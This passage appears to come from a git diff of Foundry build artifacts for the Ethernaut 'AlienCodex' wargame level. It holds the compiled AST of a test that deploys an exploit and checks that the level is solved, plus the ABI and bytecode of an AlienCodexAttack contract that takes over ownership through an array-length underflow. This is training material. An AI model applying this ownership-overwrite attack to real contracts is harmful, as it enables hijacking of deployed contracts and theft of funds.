DummyFactory"}],"id":59022,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"1595:7:121","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":59021,"name":"address","nodeType":"ElementaryTypeName","src":"1595:7:121","typeDescriptions":{}}},"id":59024,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1595:16:121","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":59020,"name":"Level","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":55508,"src":"1589:5:121","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_Level_$55508_$","typeString":"type(contract Level)"}},"id":59025,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1589:23:121","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_Level_$55508","typeString":"contract Level"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_Level_$55508","typeString":"contract Level"}],"expression":{"id":59017,"name":"ethernaut","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58953,"src":"1565:9:121","typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"}},"id":59019,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1575:13:121","memberName":"registerLevel","nodeType":"MemberAccess","referencedDeclaration":48913,"src":"1565:23:121","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_contract$_Level_$55508_$returns$__$","typeString":"function (contract Level) external"}},"id":59026,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1565:48:121","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":59027,"nodeType":"ExpressionStatement","src":"1565:48:121"},{"expression":{"arguments":[],"expression":{"argumentTypes":[],"expression":{"id":59028,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"1623:2:121","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":59030,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1626:9:121","memberName":"stopPrank","nodeType":"MemberAccess","referencedDeclaration":15466,"src":"1623:12:121","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$__$returns$__$","typeString":"function () external"}},"id":59031,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1623:14:121","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":59032,"nodeType":"ExpressionStatement","src":"1623:14:121"},{"expression":{"arguments":[{"id":59036,"name":"player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58960,"src":"1662:6:121","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"expression":{"id":59033,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"1648:2:121","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":59035,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1651:10:121","memberName":"startPrank","nodeType":"MemberAccess","referencedDeclaration":15454,"src":"1648:13:121","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$returns$__$","typeString":"function (address) external"}},"id":59037,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1648:21:121","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":59038,"nodeType":"ExpressionStatement","src":"1648:21:121"},{"expression":{"id":59055,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":59039,"name":"instance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58956,"src":"1679:8:121","typeDescriptions":{"typeIdentifier":"t_contract$_AlienCodex_$58885","typeString":"contract AlienCodex"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"arguments":[{"arguments":[{"arguments":[{"id":59044,"name":"ethernaut","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58953,"src":"1729:9:121","typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"}},{"arguments":[{"arguments":[{"id":59048,"name":"factory","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":59010,"src":"1754:7:121","typeDescriptions":{"typeIdentifier":"t_contract$_DummyFactory_$52145","typeString":"contract DummyFactory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_DummyFactory_$52145","typeString":"contract DummyFactory"}],"id":59047,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"1746:7:121","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":59046,"name":"address","nodeType":"ElementaryTypeName","src":"1746:7:121","typeDescriptions":{}}},"id":59049,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1746:16:121","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":59045,"name":"Level","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":55508,"src":"1740:5:121","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_Level_$55508_$","typeString":"type(contract Level)"}},"id":59050,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1740:23:121","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_Level_$55508","typeString":"contract Level"}},{"hexValue":"30","id":59051,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"1765:1:121","typeDescriptions":{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"},"value":"0"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"},{"typeIdentifier":"t_contract$_Level_$55508","typeString":"contract Level"},{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"}],"id":59043,"name":"createLevelInstance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":66525,"src":"1709:19:121","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_contract$_Ethernaut_$49101_$_t_contract$_Level_$55508_$_t_uint256_$returns$_t_address_$","typeString":"function (contract Ethernaut,contract Level,uint256) returns (address)"}},"id":59052,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1709:58:121","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":59042,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"1701:8:121","typeDescriptions":{"typeIdentifier":"t_type$_t_address_payable_$","typeString":"type(address payable)"},"typeName":{"id":59041,"name":"address","nodeType":"ElementaryTypeName","src":"1701:8:121","stateMutability":"payable","typeDescriptions":{}}},"id":59053,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1701:67:121","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"id":59040,"name":"AlienCodex","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58885,"src":"1690:10:121","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_AlienCodex_$58885_$","typeString":"type(contract AlienCodex)"}},"id":59054,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1690:79:121","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_AlienCodex_$58885","typeString":"contract AlienCodex"}},"src":"1679:90:121","typeDescriptions":{"typeIdentifier":"t_contract$_AlienCodex_$58885","typeString":"contract AlienCodex"}},"id":59056,"nodeType":"ExpressionStatement","src":"1679:90:121"},{"expression":{"arguments":[],"expression":{"argumentTypes":[],"expression":{"id":59057,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"1779:2:121","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":59059,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1782:9:121","memberName":"stopPrank","nodeType":"MemberAccess","referencedDeclaration":15466,"src":"1779:12:121","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$__$returns$__$","typeString":"function () external"}},"id":59060,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1779:14:121","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":59061,"nodeType":"ExpressionStatement","src":"1779:14:121"}]},"functionSelector":"0a9254e4","implemented":true,"kind":"function","modifiers":[],"name":"setUp","nameLocation":"1191:5:121","parameters":{"id":58961,"nodeType":"ParameterList","parameters":[],"src":"1196:2:121"},"returnParameters":{"id":58962,"nodeType":"ParameterList","parameters":[],"src":"1206:0:121"},"scope":59118,"stateMutability":"nonpayable","virtual":false,"visibility":"public"},{"id":59084,"nodeType":"FunctionDefinition","src":"2052:137:121","nodes":[],"body":{"id":59083,"nodeType":"Block","src":"2079:110:121","nodes":[],"statements":[{"expression":{"arguments":[{"id":59070,"name":"player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58960,"src":"2103:6:121","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"expression":{"id":59067,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"2089:2:121","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":59069,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"2092:10:121","memberName":"startPrank","nodeType":"MemberAccess","referencedDeclaration":15454,"src":"2089:13:121","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$returns$__$","typeString":"function (address) external"}},"id":59071,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2089:21:121","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":59072,"nodeType":"ExpressionStatement","src":"2089:21:121"},{"expression":{"arguments":[{"arguments":[{"id":59075,"name":"ethernaut","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58953,"src":"2152:9:121","typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"}},{"arguments":[{"id":59078,"name":"instance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58956,"src":"2171:8:121","typeDescriptions":{"typeIdentifier":"t_contract$_AlienCodex_$58885","typeString":"contract AlienCodex"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_AlienCodex_$58885","typeString":"contract AlienCodex"}],"id":59077,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"2163:7:121","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":59076,"name":"address","nodeType":"ElementaryTypeName","src":"2163:7:121","typeDescriptions":{}}},"id":59079,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2163:17:121","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"},{"typeIdentifier":"t_address","typeString":"address"}],"id":59074,"name":"submitLevelInstance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":66571,"src":"2132:19:121","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_contract$_Ethernaut_$49101_$_t_address_$returns$_t_bool_$","typeString":"function (contract Ethernaut,address) returns (bool)"}},"id":59080,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2132:49:121","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"}],"id":59073,"name":"assertFalse","nodeType":"Identifier","overloadedDeclarations":[314,329],"referencedDeclaration":314,"src":"2120:11:121","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bool_$returns$__$","typeString":"function (bool) pure"}},"id":59081,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2120:62:121","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":59082,"nodeType":"ExpressionStatement","src":"2120:62:121"}]},"documentation":{"id":59064,"nodeType":"StructuredDocumentation","src":"1984:63:121","text":"@notice Check the intial state of the level and enviroment."},"functionSelector":"b5d11e99","implemented":true,"kind":"function","modifiers":[],"name":"testInit","nameLocation":"2061:8:121","parameters":{"id":59065,"nodeType":"ParameterList","parameters":[],"src":"2069:2:121"},"returnParameters":{"id":59066,"nodeType":"ParameterList","parameters":[],"src":"2079:0:121"},"scope":59118,"stateMutability":"nonpayable","virtual":false,"visibility":"public"},{"id":59117,"nodeType":"FunctionDefinition","src":"2244:207:121","nodes":[],"body":{"id":59116,"nodeType":"Block","src":"2272:179:121","nodes":[],"statements":[{"expression":{"arguments":[{"id":59091,"name":"player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58960,"src":"2296:6:121","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},{"id":59092,"name":"player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58960,"src":"2304:6:121","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"},{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"expression":{"id":59088,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"2282:2:121","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":59090,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"2285:10:121","memberName":"startPrank","nodeType":"MemberAccess","referencedDeclaration":15462,"src":"2282:13:121","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$_t_address_$returns$__$","typeString":"function (address,address) external"}},"id":59093,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2282:29:121","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":59094,"nodeType":"ExpressionStatement","src":"2282:29:121"},{"expression":{"arguments":[{"arguments":[{"id":59102,"name":"instance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58956,"src":"2362:8:121","typeDescriptions":{"typeIdentifier":"t_contract$_AlienCodex_$58885","typeString":"contract AlienCodex"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_AlienCodex_$58885","typeString":"contract AlienCodex"}],"id":59101,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"2354:7:121","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":59100,"name":"address","nodeType":"ElementaryTypeName","src":"2354:7:121","typeDescriptions":{}}},"id":59103,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2354:17:121","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"arguments":[],"expression":{"argumentTypes":[],"id":59097,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"NewExpression","src":"2322:21:121","typeDescriptions":{"typeIdentifier":"t_function_creation_nonpayable$__$returns$_t_contract$_AlienCodexExploit_$58946_$","typeString":"function () returns (contract AlienCodexExploit)"},"typeName":{"id":59096,"nodeType":"UserDefinedTypeName","pathNode":{"id":59095,"name":"AlienCodexExploit","nameLocations":["2326:17:121"],"nodeType":"IdentifierPath","referencedDeclaration":58946,"src":"2326:17:121"},"referencedDeclaration":58946,"src":"2326:17:121","typeDescriptions":{"typeIdentifier":"t_contract$_AlienCodexExploit_$58946","typeString":"contract AlienCodexExploit"}}},"id":59098,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2322:23:121","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_AlienCodexExploit_$58946","typeString":"contract AlienCodexExploit"}},"id":59099,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"2346:7:121","memberName":"exploit","nodeType":"MemberAccess","referencedDeclaration":58945,"src":"2322:31:121","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$returns$__$","typeString":"function (address) external"}},"id":59104,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2322:50:121","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":59105,"nodeType":"ExpressionStatement","src":"2322:50:121"},{"expression":{"arguments":[{"arguments":[{"id":59108,"name":"ethernaut","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58953,"src":"2414:9:121","typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"}},{"arguments":[{"id":59111,"name":"instance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58956,"src":"2433:8:121","typeDescriptions":{"typeIdentifier":"t_contract$_AlienCodex_$58885","typeString":"contract AlienCodex"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_AlienCodex_$58885","typeString":"contract AlienCodex"}],"id":59110,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"2425:7:121","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":59109,"name":"address","nodeType":"ElementaryTypeName","src":"2425:7:121","typeDescriptions":{}}},"id":59112,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2425:17:121","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"},{"typeIdentifier":"t_address","typeString":"address"}],"id":59107,"name":"submitLevelInstance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":66571,"src":"2394:19:121","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_contract$_Ethernaut_$49101_$_t_address_$returns$_t_bool_$","typeString":"function (contract Ethernaut,address) returns (bool)"}},"id":59113,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2394:49:121","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"}],"id":59106,"name":"assertTrue","nodeType":"Identifier","overloadedDeclarations":[287,302],"referencedDeclaration":287,"src":"2383:10:121","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bool_$returns$__$","typeString":"function (bool) pure"}},"id":59114,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2383:61:121","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":59115,"nodeType":"ExpressionStatement","src":"2383:61:121"}]},"documentation":{"id":59085,"nodeType":"StructuredDocumentation","src":"2195:44:121","text":"@notice Test the solution for the level."},"functionSelector":"832e5fc2","implemented":true,"kind":"function","modifiers":[],"name":"testSolve","nameLocation":"2253:9:121","parameters":{"id":59086,"nodeType":"ParameterList","parameters":[],"src":"2262:2:121"},"returnParameters":{"id":59087,"nodeType":"ParameterList","parameters":[],"src":"2272:0:121"},"scope":59118,"stateMutability":"nonpayable","virtual":false,"visibility":"public"}],"abstract":false,"baseContracts":[{"baseName":{"id":58947,"name":"Test","nameLocations":["877:4:121"],"nodeType":"IdentifierPath","referencedDeclaration":12027,"src":"877:4:121"},"id":58948,"nodeType":"InheritanceSpecifier","src":"877:4:121"},{"baseName":{"id":58949,"name":"Utils","nameLocations":["883:5:121"],"nodeType":"IdentifierPath","referencedDeclaration":66673,"src":"883:5:121"},"id":58950,"nodeType":"InheritanceSpecifier","src":"883:5:121"}],"canonicalName":"TestAlienCodex","contractDependencies":[49101,56450,58028,58946],"contractKind":"contract","fullyImplemented":true,"linearizedBaseContracts":[59118,66673,12027,11975,6655,6330,5537,3477,2695,65,62],"name":"TestAlienCodex","nameLocation":"859:14:121","scope":59119,"usedErrors":[],"usedEvents":[100,104,108,112,116,120,124,128,134,140,148,156,162,168,174,180,185,190,195,202,209,216]}],"license":"MIT"},"id":121} \ No newline at end of file diff --git a/contracts/out/AlienCodexAttack.sol/AlienCodexAttack.json b/contracts/out/AlienCodexAttack.sol/AlienCodexAttack.json new file mode 100644 index 000000000..d3b135023 --- /dev/null +++ b/contracts/out/AlienCodexAttack.sol/AlienCodexAttack.json @@ -0,0 +1 @@ +{"abi":[{"type":"constructor","inputs":[{"name":"_target","type":"address","internalType":"address"}],"stateMutability":"nonpayable"},{"type":"function","name":"attack","inputs":[{"name":"_newOwner","type":"bytes32","internalType":"bytes32"}],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"target","inputs":[],"outputs":[{"name":"","type":"address","internalType":"contract AlienCodex"}],"stateMutability":"view"}],"bytecode":{"object":"0x608060405234801561001057600080fd5b506040516103753803806103758339818101604052602081101561003357600080fd5b5051600080546001600160a01b039092166001600160a01b0319909216919091179055610310806100656000396000f3fe608060405234801561001057600080fd5b50600436106100365760003560e01c80637ffc6d731461003b578063d4b839921461005a575b600080fd5b6100586004803603602081101561005157600080fd5b503561007e565b005b6100626102cc565b604080516001600160a01b039092168252519081900360200190f35b60008054604080517f328b52cb00000000000000000000000000000000000000000000000000000000815290516001600160a01b039092169263328b52cb9260048084019382900301818387803b1580156100d857600080fd5b505af11580156100ec573d6000803e3d6000fd5b505060008054604080517fb5c645bd000000000000000000000000000000000000000000000000000000008152600019600482015290516001600160a01b03909216945063b5c645bd9350602480820193929182900301818387803b15801561015457600080fd5b505af1158015610168573d6000803e3d6000fd5b505060008054604080516323fabd9960e11b815290516001600160a01b0390921694506347f57b329350600480820193929182900301818387803b1580156101af57600080fd5b505af11580156101c3573d6000803e3d6000fd5b505060008054604080516323fabd9960e11b815290516001600160a01b0390921694506347f57b329350600480820193929182900301818387803b15801561020a57600080fd5b505af115801561021e573d6000803e3d6000fd5b505060008054604080517f0339f3000000000000000000000000000000000000000000000000000000000081527f4ef1d2ad89edf8c4d91132028e8195cdf30bb4b5053d4f8cd260341d4805f30a600482018190526024820188905291519195506001600160a01b039092169350630339f3009260448084019391929182900301818387803b1580156102b057600080fd5b505af11580156102c4573d6000803e3d6000fd5b505050505050565b6000546001600160a01b03168156fea265627a7a723158201b4aa6a068816d16e31308d4abbc6602c7c7dc2050e48a62d7728ee8e7dcc01d64736f6c63430005110032","sourceMap":"93:1544:0:-;;;156:81;8:9:-1;5:2;;;30:1;27;20:12;5:2;156:81:0;;;;;;;;;;;;;;;13:2:-1;8:3;5:11;2:2;;;29:1;26;19:12;2:2;-1:-1;156:81:0;202:6;:28;;-1:-1:-1;;;;;202:28:0;;;-1:-1:-1;;;;;;202:28:0;;;;;;;;;93:1544;;;;;;","linkReferences":{}},"deployedBytecode":{"object":"0x608060405234801561001057600080fd5b50600436106100365760003560e01c80637ffc6d731461003b578063d4b839921461005a575b600080fd5b6100586004803603602081101561005157600080fd5b503561007e565b005b6100626102cc565b604080516001600160a01b039092168252519081900360200190f35b60008054604080517f328b52cb00000000000000000000000000000000000000000000000000000000815290516001600160a01b039092169263328b52cb9260048084019382900301818387803b1580156100d857600080fd5b505af11580156100ec573d6000803e3d6000fd5b505060008054604080517fb5c645bd000000000000000000000000000000000000000000000000000000008152600019600482015290516001600160a01b03909216945063b5c645bd9350602480820193929182900301818387803b15801561015457600080fd5b505af1158015610168573d6000803e3d6000fd5b505060008054604080516323fabd9960e11b815290516001600160a01b0390921694506347f57b329350600480820193929182900301818387803b1580156101af57600080fd5b505af11580156101c3573d6000803e3d6000fd5b505060008054604080516323fabd9960e11b815290516001600160a01b0390921694506347f57b329350600480820193929182900301818387803b15801561020a57600080fd5b505af115801561021e573d6000803e3d6000fd5b505060008054604080517f0339f3000000000000000000000000000000000000000000000000000000000081527f4ef1d2ad89edf8c4d91132028e8195cdf30bb4b5053d4f8cd260341d4805f30a600482018190526024820188905291519195506001600160a01b039092169350630339f3009260448084019391929182900301818387803b1580156102b057600080fd5b505af11580156102c4573d6000803e3d6000fd5b505050505050565b6000546001600160a01b03168156fea265627a7a723158201b4aa6a068816d16e31308d4abbc6602c7c7dc2050e48a62d7728ee8e7dcc01d64736f6c63430005110032","sourceMap":"93:1544:0:-;;;;8:9:-1;5:2;;;30:1;27;20:12;5:2;93:1544:0;;;;;;;;;;;;;;;;;;;;;;;;243:1392;;;;;;13:2:-1;8:3;5:11;2:2;;;29:1;26;19:12;2:2;-1:-1;243:1392:0;;:::i;:::-;;125:24;;;:::i;:::-;;;;-1:-1:-1;;;;;125:24:0;;;;;;;;;;;;;;243:1392;319:6;;;:20;;;;;;;;-1:-1:-1;;;;;319:6:0;;;;:18;;:20;;;;;;;;;;:6;;:20;;;5:2:-1;;;;30:1;27;20:12;5:2;319:20:0;;;;8:9:-1;5:2;;;45:16;42:1;39;24:38;77:16;74:1;67:27;5:2;-1:-1;;372:6:0;;;:90;;;;;;-1:-1:-1;;372:90:0;;;;;;-1:-1:-1;;;;;372:6:0;;;;-1:-1:-1;372:13:0;;-1:-1:-1;372:90:0;;;;;:6;:90;;;;;;:6;;:90;;;5:2:-1;;;;30:1;27;20:12;5:2;372:90:0;;;;8:9:-1;5:2;;;45:16;42:1;39;24:38;77:16;74:1;67:27;5:2;-1:-1;;507:6:0;;;:16;;;-1:-1:-1;;;507:16:0;;;;-1:-1:-1;;;;;507:6:0;;;;-1:-1:-1;507:14:0;;-1:-1:-1;507:16:0;;;;;:6;:16;;;;;;:6;;:16;;;5:2:-1;;;;30:1;27;20:12;5:2;507:16:0;;;;8:9:-1;5:2;;;45:16;42:1;39;24:38;77:16;74:1;67:27;5:2;-1:-1;;533:6:0;;;:16;;;-1:-1:-1;;;533:16:0;;;;-1:-1:-1;;;;;533:6:0;;;;-1:-1:-1;533:14:0;;-1:-1:-1;533:16:0;;;;;:6;:16;;;;;;:6;;:16;;;5:2:-1;;;;30:1;27;20:12;5:2;533:16:0;;;;8:9:-1;5:2;;;45:16;42:1;39;24:38;77:16;74:1;67:27;5:2;-1:-1;;1285:14:0;1596:6;;:32;;;;;;1302:255;1596:32;;;;;;;;;;;;;;1302:255;;-1:-1:-1;;;;;;1596:6:0;;;;-1:-1:-1;1596:13:0;;:32;;;;;1285:14;;1596:32;;;;;;1285:14;1596:6;:32;;;5:2:-1;;;;30:1;27;20:12;5:2;1596:32:0;;;;8:9:-1;5:2;;;45:16;42:1;39;24:38;77:16;74:1;67:27;5:2;1596:32:0;;;;243:1392;;:::o;125:24::-;;;-1:-1:-1;;;;;125:24:0;;:::o","linkReferences":{}},"methodIdentifiers":{"attack(bytes32)":"7ffc6d73","target()":"d4b83992"},"rawMetadata":"{\"compiler\":{\"version\":\"0.5.17+commit.d19bba13\"},\"language\":\"Solidity\",\"output\":{\"abi\":[{\"inputs\":[{\"internalType\":\"address\",\"name\":\"_target\",\"type\":\"address\"}],\"payable\":f